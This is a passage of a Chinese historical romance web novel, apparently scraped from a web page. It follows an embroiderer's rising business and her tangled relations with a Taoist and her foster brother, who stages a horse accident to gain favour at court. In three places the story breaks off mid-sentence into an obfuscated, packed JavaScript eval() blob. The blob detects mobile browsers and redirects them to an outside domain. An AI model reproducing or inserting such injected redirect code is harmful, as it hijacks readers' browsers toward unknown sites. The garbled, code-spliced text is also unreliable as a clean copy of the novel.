假山后的滴水观音铜盆积着隔夜雨,水面悠悠,映出芭蕉叶后缩成两团的影子。 假山前争执声里,凝珠的哭腔格外可怜,她攥着官家子弟崔澄的衣袖,泪落不止:“三郎,你可知妾字怎写?”话音未落,她猛地抬手,银簪尖狠狠划破掌心,又扯破袖口锦缎,蘸着血在石上写:“立女为奴!” “可家族已然为我定亲,是父亲故交侍郎家的嫡女,我实在抗逆不得。”崔澄脸色煞白,伸手想握她的手,却被凝珠狠狠甩开。他急从袖中掏出锦盒,打开时金镶玉镯的珠光晃眼,“这是我母亲给未来正妻准备的金镶玉镯……我偷出来给你,你先委屈些时日,待我……” “待你什么?”凝珠突然冷笑,“待你洞房花烛?待你官拜九卿?”她一把推回锦盒,指尖的血蹭在盒面上,触目惊心,“崔三郎,你若真心疼我,便该知晓,我要的从来不是这些身外之物!” 芭蕉叶后,两小团已压低声音讨论起来。 玉笙撇着嘴:“你看凝珠那样,还想逼宫做正室?也不掂量掂量自己!”苏锦绣轻叹:“可怜了侍郎家嫡女……说到底,千错万错都是崔澄的错,一个大男人优柔寡断,四处留情,害了两个女人。” 玉笙若有所思时,一声咳嗽突然从身后传来,两人惊得浑身一僵。苏锦绣转头,见是半边脸还肿着的应不寐,忙比了个嘘声,又偷瞄了眼假山,幸亏那边两人吵得正凶,倒没察觉。 岂料应不寐偏要作对,故意扬高了声调道:“哟,这不是方才在诗会上大放异彩的……” 话未说完,苏锦绣与玉笙已一左一右架住他的胳膊,不由分说地将人往外拖,一路拽向不远处的湖心亭。 应不寐被二人架着,却仍笑得自在:“两位方才在诗会上何等清雅端方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303730|181871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转头便在此处偷听墙角?可真有意思。” 到了湖心亭,苏锦绣目光先落在应不寐脸上,前几日闻时钦那一拳力道极重,他半边脸颊肿还得老高,连太阳穴都泛着青紫,眼尾还坠着浅浅的淤红。 苏锦绣心中的愧疚漫上来,忙从袖中摸出罐青瓷药膏。递过去时,语气不自觉放软,赔着笑道歉:“这是我特意寻的消肿膏,据说敷上一夜就能消去大半淤青,明日就能恢复。” 应不寐双手抱胸,斜倚亭柱,淡淡望着那罐药膏,半晌才道:“给我涂。” 一旁玉笙看得稀奇,刚要调侃两句,就见知夏跑来说坊里来人催着回去,只好朝他们告别,转身快步走了。 苏锦绣自知理亏,乖乖旋开瓷盖,取了少许乳白药膏在掌心揉开,药香清冽弥散。她踮起脚尖凑近,指尖刚触到那片青紫,就听应不寐突然抽气,吃痛抱怨:“不妨再用点力,直接帮贫道毁了这张脸,倒也清净。” “我轻点便是。”苏锦绣放柔声音,指腹沾着药膏轻轻打圈揉着淤青,又忍不住为闻时钦辩解:“阿钦他……并非故意的,他平日待人素来温和,那日许是一时情急……” 应不寐闻言气结,她还是这般偏袒那混小子,伸手攥住她的手腕,迫使她的掌心严丝合缝按在青肿处,语气沉了几分:“你看着我的眼睛,再说一句他不是故意的?” “他分明就是容不得你跟任何男子说话,连贫道帮你接个活都要动手,那往后要是有王公贵族看上你……” “不会的!”苏锦绣疾声打断。 应不寐本是斜倚着亭柱,闻言却直起身,惯有的浪荡笑意骤然敛去,带着一片执拗的认真发问:“你怎知不会?”他桃花眼亮得惊人,仿佛非要从她口中抠出个答案,“姻缘之事,素来由天不由人,你怎能笃定?” 苏锦绣偏过头避开那道灼热的目光:“如何不能?若遇不到真心待我的良人,终身不嫁便是。”话音未落,她又回头,转守为攻:“先前那笔金子,你送还张明叙了吗?还有你那日帮我接活……” “是不是想利用我?” 带着答案的诘问,原是多余。只因多次承应不寐照拂,已不知不觉把他当朋友来看,在心里有了分量,才非要刨根究底。 应不寐没料到她早已通透,脸上血色褪了几分。 湖心亭云沉,天水寂寂。 “是。” 一字落地,如珠玉坠石,如此坦陈,半分迂回也无,将她先前的揣测,全都化作了一片寒凉的清明。 “好。” 苏锦绣猛地动了动腕子,想抽回被攥着的手,却被应不寐握得更紧。他气息骤然粗重,眼底翻涌的情绪如惊涛骇浪,几乎要破眶而出,却又被他硬生生压着,只化作一句低沉急切的质问: “你就不想知道,我后来为何又反悔了?” 往日里他总是浪荡不羁,哪怕对她好,也带着几分玩世不恭的意味,可此刻他眼底的情愫浓烈得让她心惊。 苏锦绣被他这副模样惊得怔在原地,一时间竟忘了反应。 应不寐喉结滚动,眼底翻涌着万千情绪,那句“我爱上你了”就堵在喉头,连带着“所以哪怕违了承诺,哪怕得罪张明叙,我也舍不得把你推给旁人”的话,都已到了唇边—— “应道长!安老板派人来寻,说有急事相商!” 廊外突然传来玉笙清脆的声音,打破了亭中的静谧旖旎。 他自顾且难立,宿命尚未厘清,何谈爱人? 眸底的翻涌已被强行压下,应不寐随即松了苏锦绣的腕子,随玉笙而去,未再一顾。 亭中唯余苏锦绣怔立良久。 14.绣名扬 《漱玉集》梓行未及三日,汴京文苑已至洛阳纸贵之境,金章玉句如东风拂堤,遍飏汴河烟柳,连带“华韵阁定制”五字亦随之声名鹊起,成了坊间热议的雅谈。 这日辰时方过,华韵阁朱漆扉外已是车毂击驰、人潮如堵,将整条曲院街壅塞得水泄不通。 苏锦绣早早就踩着绣凳,将夕鹭衣的画像贴在华韵阁大门上,念及今日订绣的主顾必多,冀望能借这熙攘人潮,能打听到些相关消息。 这厢款洽完几位膏粱主顾,日已过午。 苏锦绣于花梨木账案前录毕最后一笔订单,忽闻前院传来一阵跫音促急,忙趋前相迎。 只见数名青衣小厮抬着半人高的金丝楠木箱,费力从人缝中挤入。那木箱髹漆锃亮,封以朱红锦笺,其上钤着沈家商号的篆印,一看便知是稀世珍物。 为首小厮见了苏锦绣,忙躬身朗声道:“敢问可是苏娘子?小人奉皇商沈府之命,特将江南新贡的云锦持送至此。”言罢又补充道:“我家小姐吩咐,这些云锦除了裁制两袭牡丹纹褙子,余下的尽数赠与娘子为添头,只求乞巧节前能成衣,好让小姐在赏月宴上略展风采。” 素来与苏锦绣交好的绣娘琳琅凑来,笑得眼睛都眯成了缝:“巧娘,这下可好了,你可是带着华韵阁一飞冲天了!” 苏锦绣原只想借些时兴势头,添几笔订单便罢了,却没料想竟火到这般地步,案上堆叠的桑皮纸订单早已冒了尖。 网红推广的威力真是不容小觑。 正欲回前厅理单子,门外忽传来谢鸿影的唤声:“巧娘!巧娘!” 苏锦绣从尺许高的订单堆里抬首,见他身着一袭黑金织锦袍,步履匆匆自门外入。发冠端正,玄带垂肩,显是精心整饬过仪容,眉宇间英气勃发。 “我娘让来订全府秋装,还有些零碎绣品,清单在这儿。”他递过素笺,身后四名青衣小厮各捧描金锦盒上前。苏锦绣伸手掀开一盒,满盒银锭流光溢彩,晃得人眼晕,忙抬眸道:“用不了这许多,一盒便足敷所用。你家再有钱也不是大风刮来的,其余的拿回去。” 谢鸿影心中暗笑,他家产业遍布南北,银钱确如风聚,面上却只摆手:“你这手艺,配得上。” 苏锦绣依旧执意不肯多收,谢鸿影无奈,只得折中:“既如此,便暂存于你处,往后谢府再定制衣物,从中抵扣便是。” 她忽忆及谢鸿影如今已与闻时钦是好友,忙问道:“这几日,你可见过阿钦?” 谢鸿影闻言略一沉吟,摇头道:“经你一提,我方觉多日未见,也不知他在忙些什么。” 苏锦绣满心期盼瞬时如潮退,失魂落魄地低低应了声:“也罢。” 此后谢鸿影在旁絮絮闲谈,说些京中趣闻,苏锦绣却心不在焉,只是漫应着。好不容易劝得他将余银收回,送至门外,她便急步折返华韵阁前厅。 华韵阁内笑语喧阗,绣娘们纷纷搁下手中绷架上的针线,围着账桌帮着排单点数。就连平日里最是沉稳持重的李绣娘,也忍不住轻点着订单纸笑道:“瞧这光景,你以后怕是日日都要忙到子时了。不过能摸着这么些好料子做活,心里倒也欢喜得很。” 只有角落里的绣娘丹荔斜睨着,见此光景,“嘁”了一声,将针线往绷架上一摔,转身就走,路过时还丢下句:“不过是走后门的,真当自己有本事。” 苏锦绣只当没听见,她素日便与这丹荔不对付,懒得为此扰了众人兴致,只抬手道:“莫管旁的,先定花样要紧。” “这些……竟都先付了半定。”她理着订单,忽然反应过来,抓着琳琅的衣袖急声道:“琳琅!快命人在门口挂块暂歇接订的木牌!” 琳琅正笑着清点账册,闻言挑眉:“这才刚热闹起来,怎的就要挂牌?” “再接下去,我便是千手观音也绣不完了!”苏锦绣指着那堆订单急道:“只沈家的就得绣一个月,余下的凑起来,怕是要耽搁了前头的活计,误了人家用度可不行!” 琳琅见她急得额角沁汗,笑着应了,带着伙计去挂了牌。苏锦绣这才松了口气,抱着装定金的漆盒,快步回了安尺素给她新置的独立绣房。她将漆盒放在桌案上,解开红绸时,银铤与碎银碰撞出清亮的声响。 百两纹银折算自沈家那箱江南新贡云锦,再加上零散订单的碎银,竟凑出近二百两。 这是她来汴京后,真正的第一桶金,已足够寻常人家安稳过十余年。 指尖抚过银锭上的荔枝纹,心头刚被订单填满的激荡,却猛地被一股涩意压了下去。 这箱里的每一块银锭,都是她踏稳脚跟的凭据,可涌上来的第一念,却是想告诉闻时钦,总觉得没有他在身边,连喜悦都淡了些。但这念头刚冒头,便被足足四日的冷战堵了回去。 他虽每日总留着字条,或写“灶上温着蜜煎金桔”,或提“今日有雨,勿忘携伞”,却连一面也不肯露。 是真如字条所言行踪匆匆,还是故意避着她? 苏锦绣按捺住心头纷乱念头,寻出那只填漆方盒,将银子百两有余的纹银仔细码入盒中,捧着往华韵阁二楼的安尺素的绣房去。 刚至楼梯口,便见一袭茜色罗纹裙的安尺素正抬手拢着袖角欲出门,走动时云鬓间珠摇箔颤。见她来,眉眼先弯成了月牙:“巧娘,人逢喜事精神爽呀。”目光扫过她怀中托着的盒子,又追问:“这是?” 苏锦绣掀开盒盖,百两纹银在日光下泛着莹润光泽,她诚恳道:“老板娘,这里是百两银子。若无您当日收我入绣坊,我至今仍是个做零工的。更因您的机缘,我才得以结识玉笙,有今日的收入,您是我的贵人,这银子您务必收下。” 安尺素看着她真挚的模样,心中愈发欢喜,这姑娘不仅绣技绝伦、处事机敏,更难得这般重情知义。她笑叹:“我果真没看错你,这般懂礼重情。也怪不得应不寐日日念着你,为你筹谋时废寝忘食的。” 苏锦绣前半句还含着笑意,听闻“应不寐”三字,脸上的欢喜瞬间敛去。安尺素见状,话锋一转:“如今华韵阁生意渐隆,但我被琐事缠得分身乏术,怕是难以周全。巧娘,你可愿担起副当家之职,替我接管阁中绣活调度与订单诸事?” 苏锦绣闻言,惊得张嘴愣住,半晌才讷讷道:“我……我怕是难当此任,毕竟我入阁时日尚浅,恐难服众……” “你最是合适。”安尺素打断她,语气笃定,“你的绣技冠绝阁中,人品处事更是人人信服,这事非你不可。” 苏锦绣订单赚得盘满钵满,又应下副当家之职,绣娘们围着她道贺,琳琅更是喜得眉梢都飞了,上前拉着她的衣袖,语气带着几分憨直的雀跃:“巧娘,你可太厉害了!这下咱们华韵阁有你掌事,定能更红火!走,我请你去巷口那家张记吃汤饼,他家的鸡丝汤饼可香了!” 苏锦绣被琳琅的热情感动,明明是自己得了好处,对方倒先嚷着要请客。她笑着点头:“该我请才是,等下带大家伙去樊楼吃酒。” “樊楼?”绣娘们顿时欢天喜地围过来,连唤“二当家的”,苏锦绣被她们唤得耳尖发烫,豪气摆手道:“等会只管随便点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音撞在空落落的厅堂里,只余下回声。她又奔遍了整个院子,从栽着石榴的前院到堆着绣架的西厢,连他常坐的那棵老槐树下,都只余下石凳上的半片落叶。 方才的惊喜像被戳破的纸灯,只剩一地凉。 她怔立在他房门前,指尖悬在门板上半晌,才轻轻推开。 只见斜放着个青布包袱,边角还带着风尘,显是他归来又仓促离去。 苏锦绣强压下心头漫上来的空落,伸手想将他的包袱往里挪些,免得不慎滑落。 指尖刚触到布角,一枚小巧的物件便从缝隙里滑了出来。 是支寄情簪。 簪头缀着朵攒珠石榴,通草花瓣上还留着浅浅的胭脂晕。汴京女儿家多爱用这类小物传递心意,通草花虽不似真花娇艳,却能久存,藏了未说出口的纯情念想。 苏锦绣拾起来细看,簪尾还刻着个极小的“楹”字,不知是谁的闺名。银线缠绕得略显笨拙,珠饰也不够规整,远不及她绣房里的精工,可那稚拙的纹路里,满是未经世事的温柔。 她的指尖忽然发起抖,通草花瓣上的胭脂晕,在眼前渐渐模糊。 那个女子定不会像她这般,不会总因他的戾气而蹙眉,不会管着他少胡闹,更不会因争执打他巴掌、与他冷战。 念头刚落,她猛地掐了掐掌心,借刺痛逼回泪意。 她只是他的阿姐,往后他身边有贴心人相伴,本就是天经地义的事。 那些每日留下的饭食,不过是亲人间的情分,是她自己贪心,竟盼着更多…… 15.金明池 与阿姐争执后,他便在门外枯立忏悔。 夜雨声烦,此心难安。 待里屋传来匀净的鼻息,知她已沉沉睡去,闻时钦才轻挪步至床前,执巾为她擦拭湿发,目光痴迷地描摹着她的眉眼,良久,良久。 本已矢志弃却前世的功名勋阀,只求携遁于市井,粗茶淡饭相依为命,再不染朝堂半分腥膻。 可如今那股势力如附骨之疽,竟寻踪而至,已是避无可避。 他垂眸凝视掌心交错的纹路,眼底最后一点对安稳的奢望,终被彻骨的仇意吞噬。 前世恨犹在眼前:阿姐身陷囹圄,他们竟连最后一面都未能得见,更不知她的骸骨弃于哪处荒丘,任寒鸦啄食。这一世,那道貌岸然的奸佞之辈,竟又将魔爪伸向阿姐,劫数来得比前世更急、更狠。 既已至此,唯有提前绸缪,寻附势力,再不能任人刀俎。 晨光破雾,闻时钦同师弟向奕川策马至京郊金明池。 金明池原是皇家别苑一角,后辟为马球场,寻常人不得入内,正是权贵子弟竞逐玩乐之所。 抵至金明池,闻时钦目光扫过场内整装待发的马匹,转向身侧的萧允执道:“师父,听闻踏雪性子烈,恐临场惊蹄,我去马厩再细查一番,也好放心。” 萧允执曾为戍边忠勇校尉,如今因伤退隐开武场收徒,江湖朝堂皆敬三分。 萧允执顺着他的目光望向那匹毛色如雪的骏马,抬手轻拍他肩头:“有你把关,我自然放心。快去快回,免得错过开场。” 闻时钦应了声便缓步走向马厩,厩内干草气息混着马鸣扑面而来,他径直到踏雪身侧,指尖看似随意地拂过鞍鞯接缝处,闲聊般对守厩小厮道: “这鞍子绑得紧实些才好,别让烈马挣松了。” 小厮连连应是。 随后他便执步入马球场,只见场地开阔如砥,新铺的江南细草凝着晨露,碧茵似毯。四周汉白玉围廊环拱的看台上,权贵子弟衣香鬓影,谈笑间玉带金饰晃得人眼晕。 萧允执抬手虚指不远处,对他们二人低声道:“那位锦袍公子,便是皇后胞弟穆画霖,现任从五品宣教郎,虽无甚实权,却是忠勇将门之后,京中无人敢轻慢,你们待会作陪仔细着点。” 闻时钦顺其指望去,穆画霖正倚着栏柱说笑,淄色骑装绣着暗纹流云,面容俊朗却带着几分漫不经心。他身侧立着位身着浅粉撒花金罗衫的女子,笑时一派娇憨温婉,显是被精心呵护的闺阁娇女。 “身旁那位是荆王之女,清平县主岑晚楹。”萧允执又道,“她母亲是皇后的远房堂姐,论起来,穆画霖与她算是隔了两层的表兄妹,虽血缘疏淡,京中交际场面上,却总以表亲相称。这姑娘性子柔顺,不仅得荆王疼惜,连陛下都赞过她知礼懂事。” 前世在官场中,他心思全在公务与报恩上,故而对眼前这两人的过往事迹、性情脾性一概记不清,此刻竟如陌路初见。 但后妃两派早已水火难容倒是人尽皆知,穆画霖本就芥蒂舞姬出身的贵妃明里暗里折辱嫡姐的中宫颜面,更是十分嫌恶张明叙借表妹之势,一朝攀附的嘴脸。 尘世纷纭一局棋,万物皆可为我用。 马球赛将启,场中月城耸峙如阙,两侧彩幡猎猎翻卷,鎏金彩球悬于中场,映日生辉。 闻时钦见穆画霖指尖抚过踏雪鬃毛时,动作稳而熟稔,便驱马近前,语气带着恰到好处的赞许:“公子与踏雪相得甚欢,观你握缰姿态,骑术定是精湛。” 穆画霖闻言,唇角微扬:“不过闲暇时练的寻常技艺,无甚特别。” 闻时钦却笑指远处开阔跑道:“能将这等烈性宝马驯得服帖,怎会是寻常技艺?今日天朗,不如公子骑上它跑上一圈,也让我们见识下您控马的真本事?” 穆画霖牵神骏白马踏雪,抚鬃笑道:“也好,多日未玩,先跑几圈热身!” 说罢翻身上马疾驰而出,闻时钦二人则策马紧随。 穆画霖性子随和,途中闲谈往年赛事,忆及秋猎逐鹿,忽勒马转向开阔草地,扬声邀战:“此处旷莽无碍,不如比比脚力,自此处驰回马场,先至者为胜!” 话音未落,便拍已马疾驰,踏雪四蹄翻飞,如一道白虹掠过长草。 “公子好兴致!”向奕川扬声附和,手按鞍桥似要追赶,却被闻时钦以眼神示意稍缓。 眼看马场轮廓渐清晰,距场边不过数十步。 十、九、八…… 不知哪里飞迸来的石子,撞到马臀鞍鞯处,踏雪骤然鬃竖人立,发出一声凄厉惊嘶,前蹄刨动着失控狂奔,载着穆画霖直冲马场方向。 穆画霖猝不及防,身子猛地向后仰折,小臂因攥紧缰绳而青筋绷起,喉间溢出短促的闷哼,却仍强撑着低喝:“踏雪!稳住!” 话音未落,马身又是一阵剧烈颠簸,他半个身子几乎悬在鞍外,只能死死扣住鞍桥,声音发颤:“……谁能拦它一把!” “抓稳马鞍!”闻时钦当即在后方厉喝一声,随后催马如离弦之箭,左手紧扣鞍桥赶齐。 待两马相近的刹那,右手如铁钳般拽住穆画霖的手臂,发力将人往自己马前揽。 向奕川亦策马急追,试图从另一侧牵制惊马,却见踏雪疯魔般调转方向,竟直朝场边的岑晚楹冲去! 场边岑晚楹正与密友笑玩投壶,鬓边银钗随动作轻晃,眼底盛着笑意,浑然未觉杀机将近。 直至马嘶凄厉刺破喧闹入耳,她才惊觉异状,抬眼便见白马疯冲而来,脸上笑意瞬间僵住,血色尽褪,整个人僵在原地动弹不得,唯有双眼圆睁,望着那越来越近、带着破空之势的马蹄,吓得魂飞魄散。 穆画霖纵使救不及,尚有骑术底子可自保。可那岑晚楹是金枝玉叶的县主,若今日伤在这马蹄下,荆王的雷霆之怒、官家的追责问罪,岂是轻易能担待的! 千钧一发之际,闻时钦迅速抽出袖中匕首,手腕翻转,寒光一闪,匕首便狠狠刺入马臀。 疯马受剧痛刺激,猛地高高立起,前蹄在半空刨动,尘土飞溅,周遭惊呼声四起。 闻时钦趁机翻身下马,足尖在地面轻点,身形如惊鸿般掠出,一把揽住岑晚楹的腰,带着她向侧翻滚。马蹄擦着闻时钦的后背重重落下,沙砾嵌入皮肉,钻心的疼痛令他眼前发黑,却仍死死护着怀中的岑晚楹,直至滚出数尺,远离了危险,才松了口气。 尘土落定,岑晚楹仍被闻时钦护在怀中,显然尚未从方才的惊悸中回过神来。 周遭侍卫闻声蜂拥而至,纷纷围拢过来,引远惊马。 闻时钦撑着地面带她起身,喉间一阵腥甜,俯身咳出几口血沫,后背嵌着沙砾的伤口火辣辣地疼。 穆画霖惊魂甫定,翻身下马快步上前,看向闻时钦的目光里满是惊赞与感激,伸手拍了拍他的肩:“方才若非你反应快,不仅我要出事,楹楹要是伤着分毫,荆王非拿我开刃不可!” 闻时钦咽住喉间腥甜,抬首强笑:“公子和县主安然无恙,这点颠簸不算什么。” 穆画霖转身快步趋至岑晚楹身前,先前眉宇间的疏狂倨傲尽数敛去,只余几分局促,拱手讪讪道:“楹楹,好表妹,方才可真真吓着你了!都怪我一时意气要赛马,险些酿出祸端,你莫要恼我,回头便将那套西域进贡的琉璃珠串寻来赔罪。” 岑晚楹指尖攥着裙摆一角,好半晌才定住心神,螓首轻摇时,鬓边金步摇微晃,语调温软却带颤:“表哥不必挂怀,我……我无碍。” 她说罢又敛衽躬身,向闻时钦行礼,眼帘却速速垂下,只敢将目光飘向他身侧的草色,声线轻柔:“不知公子高姓大名?方才若非公子舍身相护,晚楹恐已遭不测。此等救命之恩,晚楹必当铭记。” 虽是无心插柳,但试问碧玉年华的少女,谁能抵挡危急关头来一番英雄救美的戏码? 更何况方才在他怀中惊魂未定抬头时,岑晚楹已瞥见少年的半边轮廓,骤然懂了古诗里“恂恂公子,美色无比”的真意,原是这般风骨天成。 此刻要直面他道谢,那惊鸿一瞥的悸动又翻涌上来,让她连抬眼的勇气都无。 穆画霖也猛然记起,忙不迭追问:“是是,方才多亏了你!你是哪家府邸的侍卫?” “在下闻时钦,萧教头门下弟子。”闻时钦淡淡回礼,语气平稳无波,“县主言重了,举手之劳。” 岑晚楹闻言,声音轻细却带着真切的赞许:“原来是萧将军座下的弟子,难怪有这般稳妥的身手。”说着,她低头理了理皱乱的裙摆,转向穆画霖又道:“表哥,我这衣容实在乱了,得先去更衣。你可要好好谢过我们的救命恩人。” 听到穆画霖连连答应,岑晚楹便在侍女的搀扶下,脚步轻缓地离开了。 行至席 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314178|181871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面处,欲顾还羞,却把青梅嗅。 惊马闹剧收场,场中宾客渐散,向奕川留下收拾残局。 他牵着仍有些躁动的踏雪往马厩走,路过拴马桩时,见鞍鞯上的流苏还缠在桩角,便俯身去解,指尖刚触到鞍木缝隙,却摸到枚细硬之物。 拨开积尘与软垫,一枚沾着黑渍的牛毛银针赫然藏在其中。 他心头猛地一沉,指腹摩挲着针尾的凉意,刚要细思这针何时藏在此处,身后便传来轻缓的脚步声,踏在散落的干草上,格外清晰。 向奕川猛地回头,正对上闻时钦的目光,他斜倚在门口木柱上,修长的身姿遮挡了大半的天光,面上似笑非笑。 对方神情莫辩,开口时语调平和,却带着无形的压感:“在找什么?踏雪的鞍具,难不成有不妥?” 向奕川指尖一僵,下意识将银针攥紧。 他怎么也不敢信,方才马赛间踏雪的失控,竟全是师兄布的局?遂强压下震惊,勉强扯出笑:“没、没什么,不过是鞍垫松了,我来归置归置。” 闻时钦缓步上前,目光掠过他攥紧的掌心,笑意淡了几分,语气却仍带着几分玩笑似的轻慢:“你素来心细,只是马场人多眼杂,有些东西瞧着不起眼,若是贸然露了形,保不齐会惹来天大的麻烦,你说对吗?” 这话如敲山震虎,向奕川后背瞬间冒了汗,忙将银针悄悄塞进袖中,垂首道:“师兄说得是,是我多虑了。” 闻时钦看着他紧绷的侧脸,眼底最后一点笑意也敛去,只淡淡丢下一句“收拾完早些回”,便转身离开,留下向奕川在原地攥着袖中的银针,指尖冰凉。 翌日,闻时钦后背伤处已用金疮药包扎妥当。刚至马场,便见穆画霖牵着踏雪立在月城旁,见他来,当即拊掌大笑:“可算盼着你了!” 球赛启幕,闻时钦执起缠红绸的球杖,驭马如行云流水,球杖挥动间精准截住彩球。若与穆画霖同队,他总能在辗转腾挪间,将球巧妙传至穆画霖杖下。若成对手,他便在关键时分稍露破绽,输得恰到好处。 几场下来,穆画霖对他愈发欣赏,拍着他的肩道:“以后我的马场,少了你可没意思!” 第三日穆画霖谈及兵书策论,闻时钦也能与他对答如流,穆画霖越听越惊,末了长叹:“原只当你是个会骑马打球的好手,竟不知你对这些策论也有这般见地,真是相见恨晚!以后只管叫我字元璜便是!” 待勒马返程,暮色已漫上长堤,两人慢踏马蹄,闲谈间说起京中人事,话头不知怎的便绕到了张明叙身上。 “那厮如今仗着表妹圣宠,家里人都跟着沾光,”穆画霖勒紧缰绳,语气里满是不屑,“一人得道,鸡犬升天!” 闻时钦侧头看他,唇角噙着淡笑,指尖轻轻摩挲着马鞭柄:“元璜这话与我说来无妨,可千万别在旁人面前提起。这话若是传进他耳中,或是被有心人听去挑唆,于你我都没好处。” 穆画霖闻言一怔,随即恍然点头,他性子直率,倒忘了这京中处处是耳目。念及此,他对闻时钦更添几分看重,忙应道:“此话在理。”沉默片刻,他终究按捺不住好奇,声音压低了些:“说起来,你向来看得通透,见解比我深。所以你对张明叙这人,又是个什么态度?” 夕照熔金,为闻时钦的轮廓镀上一层暖芒,却未驱散他眼底沉凝的莫测。 他目视前路,唇齿轻启,声线压得极低,几与风息相融:“他日若吾得势……” 穆画霖耳力虽敏,却被风掠马蹄声搅了几分,未能听清那后半截话。偏此时,岑晚楹的侍女已快步奔至近前,躬身禀道:“穆公子,县主为您备了些伤药,嘱您即刻过去取。” 穆画霖此前虽经惊马之险,幸得闻时钦稳妥施救,身上不过些许擦伤,本不需什么伤药。他未深思侍女的用意,只匆匆勒转马头,对闻时钦略一颔首:“改日再聊。”说罢,便催马离去了。 长堤之上,唯余闻时钦一人立在残阳里。 落日将天际染作赤绛,他趁着这最后一缕余晖,缓缓取下腰间长弓。 指腹勾弦,挽弓如满月,朝天抬手。 有雕应声而落。 “他日若吾得势……” 晚风卷着暮色漫过堤岸,拂动他衣袂翻飞,闻时钦收回长弓,望着远方垂死的猎物,续上此前未竟之语: “必诛此獠。” 16.天贶节 六月六,天贶节,嫁女还家,亲友同堂。 晨光熹微时,苏锦绣才拖着步子归家,倦眸轻揉,面上一派宵衣旰食之态。 昨夜烦绪萦怀,辗转难寐,后来她索性起身,抱着绣绷去了华韵阁做活。孤灯一盏映绣绷,她将那些扰人的思绪都随着彩线,一针一线绣进了锦纹里,指尖忙着,心里的乱麻倒像是被慢慢理顺了。 苏锦绣抵家便倒在榻上,不消片刻已酣然入梦,帐外天光大亮也未察觉。 忽有兰涉湘的声音自门外传来,带着几分希冀:“巧娘!你可剪了纸?” 她困意如潮,双眸重若千斤,连启唇应答的气力也无。 恍惚间,兰涉湘似已掀帘进来,温软指尖轻捏她颊边软肉,揉得腮帮微微鼓起。 苏锦绣被扰得轻呓一声,声音含混:“什么剪纸?” “今日是天贶节,要贴扫晴娘驱潮气呀!”兰涉湘的声音凑得近了些,她只慵懒抬手挥了挥,声息埋入枕函,含糊应道:“你去弄吧,我再睡会儿……” 言罢,便又沉沉坠入梦乡。 酣眠正浓,竟不知日晷西倾,门外隐约传来箸碗相击之声,间杂着人语喧哗,似是众人围坐备膳,她却只恍惚入耳片刻,便又坠入黑甜梦乡中。 忽然,榻侧微沉,似有人坐下。 下一瞬,一双温煦的手轻拢她颊边鬓发,将散乱青丝顺至耳后,指腹擦过耳廓时,带起一丝微痒。 她迷迷糊糊哼了一声,隐约听见一句低沉的“还不醒?”,只当是兰涉湘来唤自己,便揉着惺忪睡眼,软声撒娇,哼哼唧唧地伸手环住来人腰腹,嘟囔道:“还是困嘛……” 头顶忽然传来一声清晰的低笑,那声音低沉磁性,绝不是兰涉湘。 苏锦绣心头一凛,困意瞬间散去,手下摸了摸,触感也愈发清晰。 惊惶顿时如潮水漫过心湖。 怀中腰杆挺拔,肌理紧实如铸,还萦绕着一缕似雪后寒梅般清冽的熟悉气息。未及抬首,已辨出此人是闻时钦。 可方才偎人撒娇、软语呢喃的模样已无法收回。 苏锦绣僵着,只能敛声屏息,假作酣睡未醒,连睫羽都不敢轻颤半分,只盼这窘境能悄然而过。 闻时钦低头瞧着她假寐的模样,眼底漾开细碎笑意,却不点破这小伎俩。 方才那几句软语莺啼,入耳如仙音绕梁,听得他心尖发痒。 原想再逗趣两句,指尖触到她温软脸颊时,又觉不妥,便压下顽心,换了平日里的温声问:“这几日我不在,阿姐可曾按时用膳?” 说罢,指腹轻轻摩挲她的脸颊轮廓,似在丈量前些时日好不容易养出的那点莹润,是否又消褪了去。 婉伸郎膝上,何处不可怜。 苏锦绣抿紧唇瓣,忍着他略带薄茧的手指触过的痒,连呼吸都匀得极轻,只作未闻,依旧假寐。 闻时钦却不肯罢休,声音又近了几分,带着几分探究:“怎的这般困倦?这几日都在忙些什么?” 她闻此言,反而猛地裹了被子,利落翻身滚到床榻里边,蜷成一团,只留给闻时钦一道冷硬的背影。 这卷铺盖滚人的动作又快又急,闻时钦一时竟未反应过来,指尖还停在方才触碰她脸颊的半空,眸中满是猝不及防的怔忪。 是扰了她酣眠惹起起床气?还是因他这几日睽违未归而含嗔? 闻时钦一时揣度不透,只知此刻该温言哄劝。 他长臂一伸,便将那裹在厚棉被中蜷如蚕蛹的苏锦绣捞入怀中。苏锦绣甫一挣扎,他臂弯便收得更紧,在她耳畔低声道:“阿姐先莫闹,外头众人还候着你我呢。” 苏锦绣顿住挣动,闷闷问了句:“众人?” “是呢,今日天贶节,亲友齐聚,阖家共膳。”闻时钦轻轻拍了拍她裹着棉被的背,“绣巷友人,连着谢鸿影,都在外头等着阿姐醒呢。” 苏锦绣这才恍然,怪不得方才半梦半醒间,听得门外一片喧欢。 可这恍然转瞬被酸涩取代。 所以他是为着与旁人聚餐才归来,若没有这节日,他是不是便要久滞不归? 